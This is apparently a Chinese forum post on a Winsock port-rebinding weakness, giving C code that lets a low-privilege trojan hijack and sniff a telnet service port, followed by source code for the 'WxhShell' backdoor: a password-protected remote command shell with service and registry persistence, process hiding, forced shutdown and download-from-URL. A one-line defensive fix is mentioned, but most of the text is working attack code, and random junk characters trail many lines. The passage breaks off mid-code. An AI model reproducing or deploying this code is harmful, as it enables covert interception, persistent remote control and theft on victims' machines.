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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Jv8JCu"eky  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x@p1(V.  
aA6m5  
  saddr.sin_family = AF_INET; ]YciLc(  
KHT RoXt  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  >7$h  
H#+2l?D:"  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -U BH,U  
~_]i'ii8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3nbTK3,  
ty>9i]Y-  
  这意味着什么?意味着可以进行如下的攻击: u[<ij  
HOr.(gL!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .gJv})Vi  
6N#0D2~^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) uBUT84i  
v[b|J7k  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 i"h~QEE  
Oj F]K,$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  PiVp(; rtQ  
KKRj#m(:!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0hpU9w}12  
s}93nv*ez  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 tJa*(%Z?f  
\hO}3;*&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ) >H11o{&  
X 2Zp @q(  
  #include u$Wv*;TT%  
  #include sLOkLz"x  
  #include :5-t$^R  
  #include    0-~F%:x  
  DWORD WINAPI ClientThread(LPVOID lpParam);   uE ^uP@d  
  int main() "MPr'3  
  { f5`q9w_c  
  WORD wVersionRequested; q |Orv =v  
  DWORD ret; [!S%nYs&8L  
  WSADATA wsaData; ($X2SIZh  
  BOOL val; m:W+s4!E  
  SOCKADDR_IN saddr; ,7n8_pU  
  SOCKADDR_IN scaddr; 6sQY)F7p  
  int err; [NU@A>H  
  SOCKET s; ,opS)C$  
  SOCKET sc; rNl%I@G  
  int caddsize; }08Sv=XM  
  HANDLE mt; (o2.*x  
  DWORD tid;   d9.I83SS  
  wVersionRequested = MAKEWORD( 2, 2 ); nhLw&V3y  
  err = WSAStartup( wVersionRequested, &wsaData ); \ ^3cNw  
  if ( err != 0 ) { @M)"  
  printf("error!WSAStartup failed!\n"); FwpTQix!  
  return -1; W5(.Hub}  
  } m0,TH[HWGF  
  saddr.sin_family = AF_INET; 5`FPv4   
    *s%M!YM  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 HXP/2&|JY  
QD;:!$Du  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); v@1f,d  
  saddr.sin_port = htons(23); 9`Y\`F#}q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rebWXz7  
  { ZRP[N)Ld$  
  printf("error!socket failed!\n"); Y?4N%c_;  
  return -1; j-k]|0ea}  
  } S^7u`-  
  val = TRUE; 303x|y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [N_)V kpr  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) jyFKO[s\X  
  { 'R nvQ""  
  printf("error!setsockopt failed!\n"); qpX`Z Y^  
  return -1; jJK@i\bU_  
  } 3Lm7{s?=Z-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >/9Qgyc 0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~mvD|$1z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 a\xf\$Ym  
] ?k\ qS  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $|o[l.q2  
  { |!xqkmX  
  ret=GetLastError(); gCZm7dgo  
  printf("error!bind failed!\n"); j|IvDrm#  
  return -1; uX8G<7O^  
  } =PmIrvr'[5  
  listen(s,2); Tilw.z  
  while(1) feT.d +Fd  
  { . sv uXB  
  caddsize = sizeof(scaddr); 9D @}(t !  
  //接受连接请求 \^Z DH  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); PX5U)  
  if(sc!=INVALID_SOCKET) |D~#9  
  { D%h_V>#z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); FJIo] p  
  if(mt==NULL) MmW]U24s  
  { ?1]h5Uh[b  
  printf("Thread Creat Failed!\n"); xF`O ehVA  
  break; 13MB1n  
  } }3 S6TJ+  
  } $c];&)7q  
  CloseHandle(mt); 6G;t:[H G  
  } Vb/XT{T;b  
  closesocket(s); xX\A& 9m  
  WSACleanup(); ,H5o/qNU`{  
  return 0; HC RmW'  
  }   I8XU '  
  DWORD WINAPI ClientThread(LPVOID lpParam) PHg(O:3WG  
  { 7KZ>x*o  
  SOCKET ss = (SOCKET)lpParam; `m\l#r 2C  
  SOCKET sc; 43/!pW  
  unsigned char buf[4096]; BF(Kaf;<t.  
  SOCKADDR_IN saddr; 0Rz",Mu>  
  long num; 1V;m8)RF  
  DWORD val; 1zIrU6H2;_  
  DWORD ret; Ya ~lPc  
  //如果是隐藏端口应用的话,可以在此处加一些判断 xj. )iegQ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;f~z_3g  
  saddr.sin_family = AF_INET; Z]k+dJ[-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `YK%I8  
  saddr.sin_port = htons(23); &` weW  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =f=,YcRn+  
  { 5`f\[oA  
  printf("error!socket failed!\n"); D|"^ :Gi  
  return -1; KZI-/H+  
  } 3.?B')  
  val = 100; E>NL/[1d  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lKLb\F%  
  { "xE;IpO[  
  ret = GetLastError(); Ov|Uux  
  return -1; -"w&g0Z  
  } J85Kgd1 \a  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W%P0X5YQ  
  { !K/zFYl  
  ret = GetLastError(); RRJN@|"  
  return -1; ^A;(#5A]7  
  } o;J_"' kP  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) m95;NT1N/g  
  { Kv#TJn  
  printf("error!socket connect failed!\n"); $6yr:2Xvt  
  closesocket(sc); ZO!)G   
  closesocket(ss); zXT[}J VV  
  return -1; XFcIBWS  
  } k+As#7V  
  while(1) Jkub|w#QH  
  { ?KXgG'!!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 & <Jvaf_=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "jAEZ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .> |]Lo(=l  
  num = recv(ss,buf,4096,0); Y )9]I6n7  
  if(num>0) QTuj v<|  
  send(sc,buf,num,0); uJ>_ 2  
  else if(num==0) .="[In '  
  break; ~0ZLaiJ  
  num = recv(sc,buf,4096,0); he1OLk  
  if(num>0) *Q:EICDE7  
  send(ss,buf,num,0); jthGNVZ  
  else if(num==0) O{44GB3  
  break; q NE( @at  
  } .5YIf~!59  
  closesocket(ss); p/%B>Y >  
  closesocket(sc); CsW*E,|xyP  
  return 0 ; 8CN 0Q&|  
  } 7EukrE<b'  
4@ =l'Fw  
1F58 2 l  
========================================================== a>/jW-?  
2=ZZR8v  
下边附上一个代码,,WXhSHELL bF{14F$  
o&vODs  
========================================================== f/K:~#k  
Z|dng6ck  
#include "stdafx.h" *kWrF* )J  
B:QAG  
#include <stdio.h> O)WduhlGQ  
#include <string.h> >XiTl;UU  
#include <windows.h> SSG}'W!z  
#include <winsock2.h> z4[S02s  
#include <winsvc.h> D_4UM#Tw  
#include <urlmon.h> J#tY$PE  
ILq"/S.  
#pragma comment (lib, "Ws2_32.lib") ~i)IY1m"  
#pragma comment (lib, "urlmon.lib") vTF_`X  
*Mr?}_,X*  
#define MAX_USER   100 // 最大客户端连接数 wa}\bNKQk  
#define BUF_SOCK   200 // sock buffer om'DaG`A  
#define KEY_BUFF   255 // 输入 buffer SUQk0 (M  
>"q~9b A  
#define REBOOT     0   // 重启 :D!}jN/)  
#define SHUTDOWN   1   // 关机 7L\kna<  
v3{[rK}  
#define DEF_PORT   5000 // 监听端口 X6lR?6u%|  
<xWBS/K  
#define REG_LEN     16   // 注册表键长度 @f wk  
#define SVC_LEN     80   // NT服务名长度 9x0Ao*D<t  
60u}iiC@  
// 从dll定义API msiftP.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k4ijWo{:0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *K1GX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h% T$m_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yxU??#v|g  
-U/m  
// wxhshell配置信息 09 >lx$  
struct WSCFG { 3d0Yq  
  int ws_port;         // 监听端口 (e$/@3*  
  char ws_passstr[REG_LEN]; // 口令 (1my9k5C  
  int ws_autoins;       // 安装标记, 1=yes 0=no @hE$x-TP0  
  char ws_regname[REG_LEN]; // 注册表键名 HX]pcX^K  
  char ws_svcname[REG_LEN]; // 服务名 h#iFp9N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $5;RQNhXh  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0Zv<]xO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^7l^ /GSO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no NFQR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "L p"o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,wvzY7%  
L?c7M}vV  
}; ,`lVB#|  
^%qh E8  
// default Wxhshell configuration .g6DKjy>  
struct WSCFG wscfg={DEF_PORT, p&%M=SzN  
    "xuhuanlingzhe", z a^s%^:yK  
    1, N7`<t&T@  
    "Wxhshell", :6Q`! in  
    "Wxhshell", N<54_(|X  
            "WxhShell Service", cPgz?,hE  
    "Wrsky Windows CmdShell Service", ]JXpe]B  
    "Please Input Your Password: ", ja2PmPv  
  1, TdAHw @(  
  "http://www.wrsky.com/wxhshell.exe", -UM5&R+o  
  "Wxhshell.exe" !Y3 *\  
    }; n^7$ST#'bV  
4l~0LdYXKm  
// 消息定义模块 Dx-G0 KIG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q3s +?&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t,2Q~ied=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Fq<;-  
char *msg_ws_ext="\n\rExit."; ) !!xvyc  
char *msg_ws_end="\n\rQuit."; A S#D9o  
char *msg_ws_boot="\n\rReboot..."; Ih!D6  
char *msg_ws_poff="\n\rShutdown..."; _\P9~w `  
char *msg_ws_down="\n\rSave to "; 3 #zw Y  
p<@0b  
char *msg_ws_err="\n\rErr!"; '5mzlR  
char *msg_ws_ok="\n\rOK!"; !PfIe94{`  
;S FmbZ%~  
char ExeFile[MAX_PATH]; lilKYrUmG  
int nUser = 0; qOKC2WD  
HANDLE handles[MAX_USER]; EQ j2:9f  
int OsIsNt; f V|Zh  
GoGo@5n(Z  
SERVICE_STATUS       serviceStatus; #z\{BtK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H...!c1M@  
kXq*Jq  
// 函数声明 :W/,V^x}  
int Install(void); *WQ}ucE^#  
int Uninstall(void); :z EhPx;B7  
int DownloadFile(char *sURL, SOCKET wsh); ;rj=hc  
int Boot(int flag); 90pk  
void HideProc(void); # Z*nc0C  
int GetOsVer(void); 4K@`>Y5g*  
int Wxhshell(SOCKET wsl); Bpjwc<U  
void TalkWithClient(void *cs); J@{yWgLg  
int CmdShell(SOCKET sock); o'3t(dyyH  
int StartFromService(void); i8`&XGEd  
int StartWxhshell(LPSTR lpCmdLine); 3huT T"G  
J!@$lyH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); TT429  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &S.zc@rN  
'CDRb3w}B  
// 数据结构和表定义 [1Dg_>lz  
SERVICE_TABLE_ENTRY DispatchTable[] = $?OuY*ZeY9  
{ &pZUe`3  
{wscfg.ws_svcname, NTServiceMain}, uW&P1 'X  
{NULL, NULL} 9^m&  [Z  
}; x0])&':!  
8u::f`vi  
// 自我安装 nD\ X3g `V  
int Install(void) ^ftZ{uA  
{ 5Dy800.B2  
  char svExeFile[MAX_PATH]; ~%4#R4&  
  HKEY key; >mT< AQ  
  strcpy(svExeFile,ExeFile);  KUfk5Y  
>s E5zj|V  
// 如果是win9x系统,修改注册表设为自启动 wR;_x x  
if(!OsIsNt) { T x_n$ &  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P]Z}% 8^O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vXnTPjbE  
  RegCloseKey(key); ;X u&['  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <!\J([NM8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Riq5Au?*)  
  RegCloseKey(key); %aX<p{EY  
  return 0; BPnZ"w_  
    } - v9V/LJ  
  } uBk$zs  
} V(3udB@K  
else { 46'EZ@#s  
~9qDmt,i  
// 如果是NT以上系统,安装为系统服务 Q1Z;vzQfg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V%pdXM5  
if (schSCManager!=0) '}c0:,5  
{ |WeLmy%9  
  SC_HANDLE schService = CreateService SvH=P !`+  
  ( bw{%X  
  schSCManager, t-SGG{  
  wscfg.ws_svcname, :yvUHx  
  wscfg.ws_svcdisp, &X^~%\F:2  
  SERVICE_ALL_ACCESS, Dyp'a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d}b# "A  
  SERVICE_AUTO_START, EkV v  
  SERVICE_ERROR_NORMAL, =,I,K=+_x  
  svExeFile, uJG^>B?`b  
  NULL, 4qjY,QJ  
  NULL, $g#j,  
  NULL, G7C9FV bR  
  NULL, VLtb16|  
  NULL cGC&O%`i,\  
  ); >k^=+  
  if (schService!=0) a2iaP  
  { Ssaf RK$  
  CloseServiceHandle(schService); XaD}J:Xq  
  CloseServiceHandle(schSCManager); 9F k wtF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;4XX8W1  
  strcat(svExeFile,wscfg.ws_svcname); Y&k'4Y%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \VPU)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~9]tt\jN*Y  
  RegCloseKey(key); U,Z.MP Q  
  return 0; +YhTb  
    } sBF>a|  
  } &#g;=jZ  
  CloseServiceHandle(schSCManager); RsVba!x@  
} WJe  
} ;wDcYs  
^`=Z=C$fj  
return 1; G?=X!up(  
} hig^ovF  
=5^L_, 4c2  
// 自我卸载 a+zE`uY  
int Uninstall(void) K*;=^PY  
{ X"8Jk 4y  
  HKEY key; tTF/$`Q#*  
)1J&tV*U  
if(!OsIsNt) { !=cW+=1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jbC7U9t7  
  RegDeleteValue(key,wscfg.ws_regname); CbS9fc&  
  RegCloseKey(key); |,t#Au}61  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fVo)# Bj  
  RegDeleteValue(key,wscfg.ws_regname); Y.F:1<FAtf  
  RegCloseKey(key); sxnj`z  
  return 0; Tp[ub(/;7  
  } Y4! v1  
} QS_" fsyN:  
} X,x{!  
else { ^7TM.lE  
=wU08}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nd_d tsp#  
if (schSCManager!=0) GR O[&;d`  
{ +n^$4f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y'bDEdeT  
  if (schService!=0) "=9L7.E)  
  { -UPdgZ_Vxz  
  if(DeleteService(schService)!=0) { OyZgg(iN  
  CloseServiceHandle(schService); G+^HZ4jg  
  CloseServiceHandle(schSCManager); 0l^-[jK)  
  return 0; @(Ou;Uy  
  } j3IxcG}f  
  CloseServiceHandle(schService); }I,]"0b  
  } }#'O b  
  CloseServiceHandle(schSCManager); X!"ltNd  
} f]%$HfF @  
} h3>/..l  
fX#Em'Ab[  
return 1; `EBo(^n}O  
} =|pQA~UU#  
io$AGi  
// 从指定url下载文件 h+CTi6-p  
int DownloadFile(char *sURL, SOCKET wsh) ,V.X-`Y  
{ [=7|LH jU  
  HRESULT hr; #s)6u?N  
char seps[]= "/"; kVy%y"/  
char *token; @aY 8VL7C0  
char *file; g G~UsA  
char myURL[MAX_PATH]; t~Cul+  
char myFILE[MAX_PATH]; z[}[:H8  
=+'4u  
strcpy(myURL,sURL); rC[*x}  
  token=strtok(myURL,seps); g15e|y)th  
  while(token!=NULL) ,~JxYh  
  { g"hm"m}i  
    file=token; a%7%N N*i  
  token=strtok(NULL,seps); L @t<%fy@  
  } mcpM<vY/H  
+P6q wh\v  
GetCurrentDirectory(MAX_PATH,myFILE); ; R&wr _%  
strcat(myFILE, "\\"); K82pWpR  
strcat(myFILE, file); +i4S^B/8i  
  send(wsh,myFILE,strlen(myFILE),0); o[O-|XL_  
send(wsh,"...",3,0); /F4rbL^:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %'%ej^s-R  
  if(hr==S_OK) b Zn:q[7  
return 0; (@p E  
else -s,^_p{H  
return 1; O0i_h<T  
Ky8sLm@  
} &Op, ?\   
py]m^)yc  
// 系统电源模块  -*_D!  
int Boot(int flag) R/Mwq#xUb  
{ C;1A$]bk  
  HANDLE hToken; #Ne<=ayS  
  TOKEN_PRIVILEGES tkp; I_6?Q^_uZ  
F@& R"-  
  if(OsIsNt) { (/a2#iW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N&]v\MjI62  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lQ<2Vw#Yl  
    tkp.PrivilegeCount = 1; _[<R<&jG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JN .\{ Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Vl%AN;o  
if(flag==REBOOT) { zcF~6-aQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X*KQWs.  
  return 0; .0:BgM  
} mS p -  
else { L'BDS*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &=Gz[1 L  
  return 0; : ^F+m QN  
} x1:+M]Da  
  } Kfa7}f_  
  else { OL4I}^*,  
if(flag==REBOOT) { r Lg(J|^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [^EU'lewnW  
  return 0; h$F;=YS   
}  }fpK{db  
else { EgOAEv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )G\23P  
  return 0; 'b:e`2fl  
} ;2Db/"`t  
} e^&QT  
'Y IFHn$!  
return 1; M$DJ$G|Z  
} {hGr`Rh  
! E` Tt[  
// win9x进程隐藏模块 l=8)_z;~D  
void HideProc(void) 9uV/G7Geq  
{ \(Dq=UzQI  
xphw0Es  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (# Z2  
  if ( hKernel != NULL ) ,],"tzKtE  
  { K QXw~g?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S~d_SU~>`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I+Qv$#S/  
    FreeLibrary(hKernel); &I Iw>,,  
  } +-&N<U  
(f#QETiV  
return; LTj;e[  
} 5!$m3j_,]?  
)f1<-a"D|  
// 获取操作系统版本 X0 O0Y>"  
int GetOsVer(void) .j:.?v  
{ 8J{I6nPF  
  OSVERSIONINFO winfo; YLmzMD>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m^rgzx19?  
  GetVersionEx(&winfo); o90SXa&l/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9w'3d @  
  return 1; -fw0bL%0  
  else 4r ;!b;3  
  return 0; aDFu!PLB{)  
} %ANo^~8  
i#$9>X  
// 客户端句柄模块 + 5H9mk  
int Wxhshell(SOCKET wsl) ,cPNZ-%  
{ &o{I9MD  
  SOCKET wsh; pW7vY)hj  
  struct sockaddr_in client; N]R<EBq  
  DWORD myID; `<kHNcm  
Yr5A,-s  
  while(nUser<MAX_USER) LuY`mi  
{ n"vl%!B  
  int nSize=sizeof(client); F+,X%$A#?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); []:;8fY  
  if(wsh==INVALID_SOCKET) return 1; t5mI)u  
3":ef|w]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4@OnMj{M  
if(handles[nUser]==0) qH!}oPeU'  
  closesocket(wsh); '$pT:4EuGq  
else aSd$;t~  
  nUser++; KY H*5  
  } ^6[KzE#*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mbxJS_P  
@;kw6f:{d  
  return 0; 9C}Ie$\  
} B!GpD@U  
v1<gNb)`  
// 关闭 socket `bu3S }m7  
void CloseIt(SOCKET wsh) Af1izS3  
{ Cnd70tbD )  
closesocket(wsh); J"QXu M  
nUser--; _H}y7  
ExitThread(0); %])-+T  
} y[[f?rxz>  
'EU{%\qM  
// 客户端请求句柄 j)ZvlRi,  
void TalkWithClient(void *cs) DLcfOOn1I  
{ JPfNf3<@My  
%<$CH],%  
  SOCKET wsh=(SOCKET)cs; +Q_(wR"FS  
  char pwd[SVC_LEN]; =Xze).g  
  char cmd[KEY_BUFF]; 44FK%TmtF  
char chr[1]; "6_#APoP  
int i,j; fgg^B[(Y  
`M/=_O3  
  while (nUser < MAX_USER) { yLCqlK  
O$u;]cg  
if(wscfg.ws_passstr) { 4 r#O._Z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j b1OcI%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  A]R7H1  
  //ZeroMemory(pwd,KEY_BUFF); ^tX+<X  
      i=0; / U1VE|T  
  while(i<SVC_LEN) { m)3?hF)  
1)(p=<$  
  // 设置超时 z1}YoCj1  
  fd_set FdRead; )bRe"jxn7  
  struct timeval TimeOut; iz]Vb{5n%  
  FD_ZERO(&FdRead); @QI]P{   
  FD_SET(wsh,&FdRead); o^dt# &  
  TimeOut.tv_sec=8; 7iu?Q  
  TimeOut.tv_usec=0; W!q 'wrIx(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;e;lPM{+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *- $u\?$  
hj64ES#x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k| 0Fa}Z[  
  pwd=chr[0]; cw.Uy(ks|$  
  if(chr[0]==0xd || chr[0]==0xa) { ?GqFtNz  
  pwd=0; uA=6 HpDB  
  break; oc' #sE  
  } HRIf)n&~f  
  i++; .O @bX)  
    } G}ElQD  
W=M&U  
  // 如果是非法用户,关闭 socket ^(m`5]qr7J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /{YUM~  
} >0)E\_ u  
YM{Q)115  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;y<)RM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &N1C"Eov?  
&b,.W; +  
while(1) { C0/s/p'  
(bt^L3}a  
  ZeroMemory(cmd,KEY_BUFF); 5&7)hMppI  
Q>7#</i\.  
      // 自动支持客户端 telnet标准   $de_>  
  j=0; (Tp+43v  
  while(j<KEY_BUFF) { RtH[OZu(8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %(;jx  
  cmd[j]=chr[0]; C&D]!Zv F  
  if(chr[0]==0xa || chr[0]==0xd) { ]W<E#^  
  cmd[j]=0; I=D{(%+^d  
  break; PN2\:l+`  
  } fC xN!  
  j++; =YF\mhMQ:  
    } 5FqUFzVqsl  
n>>hfxv(O!  
  // 下载文件 j>gO]*BX~  
  if(strstr(cmd,"http://")) { T'i9_V{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); toPA@V  
  if(DownloadFile(cmd,wsh)) hor ok:{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Djx9TBZ5  
  else OP |{R7uC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u~<>jAy  
  } HP|,AmVLl  
  else { asP>(Li  
I@cKiB  
    switch(cmd[0]) { E#Ynn6  
  i_g="^  
  // 帮助 9 U1)sPH;  
  case '?': { RL~|Kr<7J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #W 1`vke3  
    break; [UNfft=K3P  
  } hDmtBdE  
  // 安装 $>'}6?C.  
  case 'i': { Jx-^WB  
    if(Install()) @A!Ef=R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q9pBS1Ej  
    else #[sC H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %_M B-  
    break; 1mOZ\L!m*  
    } ']$ttfJB  
  // 卸载 <9-tA\`8N  
  case 'r': { 3Zsqx =w  
    if(Uninstall()) m#, F%s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _jH1Mcq  
    else g-mK(kY4p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }^G'oR1LF  
    break; C JiMg'K  
    } @SPmb o  
  // 显示 wxhshell 所在路径 <<(~'$~,L  
  case 'p': { }llzO  
    char svExeFile[MAX_PATH]; pX6T7  
    strcpy(svExeFile,"\n\r"); T7m rOp  
      strcat(svExeFile,ExeFile); ^]'p927  
        send(wsh,svExeFile,strlen(svExeFile),0); *-Lnsi^7v  
    break; ,qiS;2(  
    } &gF{<$$  
  // 重启 S) V uT0  
  case 'b': { 5g F}7D@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JC{}iG6r+  
    if(Boot(REBOOT)) kSU*d/}*u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h1fJ`WT6,  
    else { r-]R4#z>  
    closesocket(wsh); @`}'P115@  
    ExitThread(0); \#tr4g~u  
    } qfC9 {gu  
    break; v{H23Cfh:  
    }  i2)SSQ  
  // 关机 XT>e/x9'  
  case 'd': { C'n 9n!hR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?jw)%{iKYV  
